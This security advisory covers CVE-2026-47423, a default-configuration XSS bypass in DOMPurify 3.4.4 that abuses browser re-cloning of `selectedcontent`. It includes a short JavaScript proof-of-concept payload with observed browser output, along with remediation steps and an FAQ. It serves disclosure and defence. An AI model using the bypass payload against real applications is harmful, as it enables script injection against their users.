CVE-2026-47423: DOMPurify XSS via `selectedcontent` re-clone
Summary DOMPurify 3.4.4 allows selectedcontent by default, allowing a chain in which browsers "re-clone" an XSS payload after sanitization, effectively bypassing DOMPurify.
Details The chain is as follows: 1. The browser parses the input and creates a <selectedcontent> clone from the selected <option> 2. DOMPurify walks and sanitizes that generated clone. 3. DOMPurify reaches the original <option> and removes selected=javascript:1 4. The browser refreshes the <selectedcontent> clone from the original option's content. 5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize 6. The returned string contains unsanitized markup inside <selectedcontent>.
PoC js const dirty = '<select><button><selectedcontent></selectedcontent></button>' + '<option selected=javascript:1>' + '<img src=x onerror=alert(1)>x' + '</option></select>';
const clean = DOMPurify.sanitize(dirty); console.log(clean);
document.body.innerHTML = clean;
Observed "sanitized" output in Chromium 148/WebKit 625: html <select><button><selectedcontent><img src="x" onerror="alert(1)">x</selectedcontent></button><option><img src="x">x</option></select>
After reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the onerror has already fired: html <select><button><selectedcontent><img src="x">x</selectedcontent></button><option><img src="x">x</option></select>
Reproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with browser support for selectedcontent.
Impact This is a default-configuration DOMPurify sanitizer bypass resulting in XSS.
Applications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.
Other sources
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. In 3.4.4, DOMPurify allowed selectedcontent by default, allowing browsers to re-clone an XSS payload after sanitization so that unsanitized markup inside <selectedcontent> is returned. This issue is fixed in version 3.4.5.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/dompurifyto a version that resolves this vulnerability.Fixed in 3.4.5 - Upgrade
Upgrade
DOMPurifyto a version that resolves this vulnerability.Fixed in 3.4.5 - Configuration
Upgrade to DOMPurify 3.4.5 to fix the default-configuration bypass involving `selectedcontent`; in the interim, avoid relying on DOMPurify defaults that allowed `selectedcontent` in 3.4.4 when sanitizing attacker-controlled HTML before reinserting into the page.
DOMPurify selectedcontent (allowed by default) = disabled
Event History
Frequently Asked Questions
What is the severity of CVE-2026-47423?
CVE-2026-47423 has a severity rating of 8.2, which is categorized as high.
How do I fix CVE-2026-47423?
To mitigate CVE-2026-47423, you should upgrade to DOMPurify version 3.4.5 or later.
What type of vulnerability is CVE-2026-47423?
CVE-2026-47423 is classified as an XSS (Cross-Site Scripting) vulnerability.
What are the potential impacts of CVE-2026-47423?
CVE-2026-47423 can allow attackers to bypass sanitization, leading to possible XSS attacks.
Is CVE-2026-47423 present by default in DOMPurify?
Yes, CVE-2026-47423 is present by default in DOMPurify version 3.4.4.